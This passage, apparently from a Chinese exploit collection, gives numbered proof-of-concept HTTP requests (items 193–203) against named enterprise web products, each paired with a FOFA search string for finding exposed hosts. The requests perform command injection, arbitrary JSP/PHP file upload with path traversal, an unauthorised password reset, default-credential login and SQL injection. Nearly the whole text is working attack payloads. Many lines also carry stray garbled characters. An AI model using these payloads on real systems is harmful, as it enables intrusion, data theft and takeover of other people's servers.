{ get { return true; } }
( D$ [) W# V6 ]7 fpublic void ProcessRequest(HttpContext ctx)
{
& \% W; D9 |, S* Bctx.Response.Write("test");
}
}
9 y& L! J+ e0 S# w

# o8 }; T* L0 W  a) l193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
4 q: c/ l3 \: G, wFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
0 I# U/ `) L% N. aCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
* V; `  {; }. S# K& e0 q1 q& a6 qUser-Agent: Mozilla/5.0

0 b& n6 ]! b! i  p+ V2 O
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
0 I" p7 ~0 R% _. XAccept-Encoding: gzip, deflate
* ~/ w4 M1 _, X( G# e# tAccept: */*
. J3 l9 l- G9 [  }2 XConnection: close
& w! M; h" I$ KCookie: PHPSESSID=2333333333333;
  v$ @2 g2 Q5 r8 \. K5 q4 \Content-Type: application/x-www-form-urlencoded
/ U# B: s4 V& S1 }* U8 L! eContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
1 h5 B4 i9 c7 ^$ ~0 Y+ }2 R
7 C# N2 E6 ]6 r, g) j4 F. i) R
GET /master/img/config HTTP/1.1
; Y5 l0 U+ Y- c+ {Host:
) z# q3 w7 w2 l2 YUser-Agent: Mozilla/5.0

' P5 k3 M( h( B
$ T$ ?; |7 X* z- r194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
% d  ?4 Y9 j5 p% lFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
  j8 |) C9 j8 d8 q
- p8 P& K8 m' `9 SPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
2 b4 Q; |% ]5 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
% W5 T- j! S/ b: j' bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. V4 m4 H  f# a9 a' u  ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  H4 q6 b" w: {9 @6 m" V6 F* ~- \- HAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
0 b% G: J% t/ ^( |------WebKitFormBoundaryKNt0t4vBe8cX9rZk

1 B& _* a) F, @9 O& iContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
& M7 X& ^+ Y) S/ c<% out.println("hello");%>
- L7 ?( j0 _6 Y3 P( C" V3 J# E------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
. |- D( O$ e% j) v4 n& d
$ i0 V4 E0 F& N
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
* O9 g. ^7 Z* a$ k0 d5 EFOFA：title=="飞鱼星企业级智能上网行为管理系统
4 H' {3 s! B% m' _" J4 Q: nPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
& d- L6 s% W7 P. X1 }3 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 `: W# w; q: ~1 N- i' hAccept: */*
* }  F6 i1 g6 k! \/ q5 NAccept-Encoding: gzip, deflate
* `8 f" b. b3 G$ ?Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
0 h! U$ M& c+ x* Z( s+ X' I! {, z
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
& w4 W% t2 Z+ L: P4 Z$ y
4 u' d. m- a+ `+ g( g' J- D
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
' |8 B7 ?( L- G, d* Y+ \& F- T; H, GPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
8 A. l% N1 U+ O5 u) a* hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
, B, ^8 ?; N0 j3 y# z. y, oX-Requested-With: XMLHttpRequest
9 `' U; a7 |5 o- V' {+ LHost:
& ~) `" l" r1 ]: QAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
$ x4 F4 P4 g2 @! T
{"xgh":"test","newPass":"test666","email":""}
7 `0 {+ d3 D# F

* i4 R; p& \% K1 ?
0 M" s- q/ [/ c2 b1 U/ H0 T197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
2 M* x+ j2 `) z1 l6 T" ~1 mGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
# U. o4 ?0 z$ U; k+ k* vAccept-Encoding: gzip, deflate
Connection: close

& i# r+ Z  y  z$ t3 Z9 ?; I

198.  阿里云盘 WebDAV 命令注入
% O* B* y! ?5 K" z  \2 FCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
( [, \* t. h+ p( eAccept: */*
& H( P% \" Z; @5 `/ }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
1 A0 U6 Q( J2 W  O5 sConnection: close

6 G& D8 W- f3 y3 G% n
199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
6 ^! T& r: Z! ]6 B+ [: q
+ {8 t/ N) J7 g  d* ?3 }响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

8 i; @5 X  T1 d1 B# o5 \1 n2.使用刚才上一步获取到的jwt获取cookie：
( h  s% ?8 d7 F$ G" f  q1 s2 v3 L
2 K6 \. y1 o# K2 ?: u; a; ~POST /auth/check HTTP/1.1
# R) o9 e9 L- P, z7 b: K* V2 wContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
5 v% i) P  _* `8 ?- HFofa：title="Authenticate Please!"
- n5 I( H. }2 p6 [3 S: E. OPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

  {: T" R3 M/ Q5 {6 z) k* ?% J& ]2 R-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
- ^- b1 ~+ N: |8 s( u) u( B- t3 H; |1 [/ J
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
' E1 J  B$ ^$ A2 J9 L
6 ]/ K" ]# b" m: `. p5 D+ |3 O) e-----------------------------36D28FBc36bd6feE7Fb3--
$ D4 u9 b) y! s7 Z5 o* B3 c* {
" S$ D0 ^+ ~  R! |
. b& A; N; X' P. ^3 C2 F/storage/uploads/tttt.php

9 V' u0 h+ \" V( E2 c* ~% k* X200. SeaCMS海洋影视管理系统dmku SQL注入
, z7 e5 Z$ b5 W1 J' z5 [FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
6 d, @& V$ t2 Z  ?7 B" ]* s+ |Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
4 S4 s  z( u! [1 `  v5 [1 j* g: `Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
6 F* [" _& k' ]9 o, PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% L! y' {. B/ o) u- K  C6 p6 aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


/ r  Y" s6 V, I. \" B. o8 ~4 K# i201. 方正全媒体新闻采编系统 binary SQL注入
# L2 h$ ]2 S  t& N; C" W: AFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
. ?2 e) d8 @3 L0 N7 s% L3 hPOST /newsedit/newsplan/task/binary.do HTTP/1.1
/ e( T; ?# t- q, }Content-Type: application/x-www-form-urlencoded
- o, v1 K% B4 V! E0 f2 U4 }# _" WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) K, F# T  f4 y+ L. K( RAccept-Encoding: gzip, deflate
. l) k+ ]/ C' L0 m9 }# FAccept-Language: zh-CN,zh;q=0.9
7 b. U- U; g5 JConnection: close
) m$ o! e5 `' _/ \7 d4 E
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
" H- g$ E2 B$ l0 j
* [4 {( z: K/ m0 }; T
  i; y$ x  ~& F( q202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
( w3 w2 e8 N7 ^  Y" `9 `GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
% l9 O3 k. B8 H3 MContent-Length: 0
" Y" \& _% ?! Z: i( n6 U
- s& U  d1 x* _& ?% j8 N# @
1 l# U% V5 {$ A3 Y6 u替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
+ d4 r2 \! D9 \- k$ n* QAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
7 t5 N1 ]0 M& I- i# v
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

% v* J7 b8 o. c0 c. e( x9 n4 \__VIEWSTATE
1 t7 B! w9 |- Z" |-----------------------------786435874t38587593865736587346567358735687
: d' l8 R# O) c: P. K/ ?Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
# h: B/ E0 Y& Q; b+ q) E5 tContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
2 Z5 F$ s' L0 ~' h$ J. uContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

$ `) B# Y: H$ H$ ]* F4 J: \5 @上传图片
' ]  ~) q2 B3 d-----------------------------786435874t38587593865736587346567358735687
. W8 I! L. k$ A, d# G! Q2 U1 x2 cContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
3 E  ^$ e6 T: g5 |2 N: }, J% c

9 R, z# ]7 D/ S/ j) w/ R-----------------------------786435874t38587593865736587346567358735687
: c) Y& k, \. Y2 G( v+ f! QContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

/ S1 F# A1 \4 f9 I
: _, m: S6 t3 X7 q1 x, V* P) ^& v/_data/Uploads/1123.txt
, j( T- W" V0 D& _+ V  ^! \( w: }
203. 红海云EHR PtFjk 文件上传
, Q7 j  S/ `$ |- KFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
( I$ N# h- L0 x) p. g0 T; w7 IAccept-Encoding: gzip
" J& [* ^/ I: u- l$ n! aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 a. c1 A2 L6 ]1 AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
! E! g/ b- d* C$ d0 @; B5 C3 C9 [) lContent-Length: 210

* o6 A! O  L: h$ C0 ]8 \------WebKitFormBoundaryt7WbDl1tXogoZys4
- |( h. g0 I! xContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
" b+ h  W4 ], pContent-Type:image/jpeg

/ S1 [3 F8 A4 [  V( J/ i<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
8 Q5 U- P$ y3 _& }) b" P- J: v


% @6 H% M. g5 p2 r